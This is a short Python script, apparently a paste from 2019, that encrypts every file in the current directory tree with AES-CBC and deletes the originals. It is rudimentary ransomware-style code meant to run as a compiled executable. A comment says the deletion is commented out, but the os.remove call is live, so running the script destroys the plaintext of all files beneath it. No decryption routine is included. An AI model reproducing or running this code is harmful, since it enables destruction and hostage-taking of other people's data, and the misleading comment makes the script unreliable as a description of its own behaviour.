· 6 years ago · Aug 22, 2019, 05:54 PM
1import os, random, struct
2from Cryptodome.Cipher import AES
3
4
5def encrypt_file(key, input_file):
6 """ Encrypt a file using AES CBC mode.
7
8 key:
9 The encryption key - This is our secret to
10 encrypt and decrypt.
11 Should be 16 (AES-128), 24 (AES-192 ) or
12 32 bytes (AES-256) (characters) long.
13
14 input_file:
15 The input file
16 """
17
18 # This the block size of data we read, encrypt and write.
19 # It should be a multiple of 16 for AES.
20 chunksize=16*4*1024
21
22 output_filename = input_file + '.aes'
23
24 # 16 random bytes as initialization vector
25 initial_vector = os.urandom(16) # urandom: best method :)
26
27 encryptor = AES.new(key, AES.MODE_CBC, initial_vector)
28 filesize = os.path.getsize(input_file)
29
30 try:
31 with open(input_file, 'rb') as in_file:
32 try:
33 with open(output_filename, 'wb') as out_file:
34 # put the initial_vector at the beginning of the file
35 # we need to read from this position to decrypt correctly later
36 out_file.write(struct.pack('<Q', filesize))
37 out_file.write(initial_vector)
38
39 # go block for block through the data
40 while True:
41 # read a block of data
42 chunk = in_file.read(chunksize)
43 # if chunk == 0, we are at the end
44 if len(chunk) == 0:
45 break
46 # else we need to fill the last block of bytes up to 16
47 elif len(chunk) % 16 != 0:
48 chunk += b' ' * (16 - len(chunk) % 16)
49 # encrypt this block and append it to the file
50 out_file.write(encryptor.encrypt(chunk))
51 except PermissionError:
52 print("\nCouldn't write ", output_filename)
53 except PermissionError:
54 print("\nCouldn't read ", input_file)
55
56
57
58def main():
59 #secret_key = b'--> I am a random secret key <--'
60
61 secret_key = input("Give me a secret key (16, 24 or 32 characters):").encode("utf-8")
62 while len(secret_key) != 16 and len(secret_key) != 24 and len(secret_key) != 32:
63 print("\nThere was an error! Please try again with 16, 24 or 32 characters:")
64 secret_key = input("\nGive me a secret key (16, 24 or 32 characters):").encode("utf-8")
65
66 # get the current working directory
67 path = os.getcwd()
68
69 # path = directory
70 if os.path.isdir(path):
71 files = []
72 # traverse all subfolders and save path + filename
73 for root, d_names, f_names in os.walk(path):
74 for f in f_names:
75 files.append(os.path.join(root, f)) # these are all files in all subfolders
76 for file in files:
77 # better skip already encrypted files and skip the file itself
78 if not file.endswith(".aes") and file != os.path.realpath(__file__)[:-2] + 'exe':
79 # os.path.realpath(__file__) returns path + file.py instead of .exe. dirty fix.
80 print("\nEncrypting ", file)
81 encrypt_file(secret_key, file)
82 # after encryption we could delete the file.. ;)
83 # just remove the '#' in the next line
84 os.remove(file)
85
86
87if __name__ == '__main__':
88 main()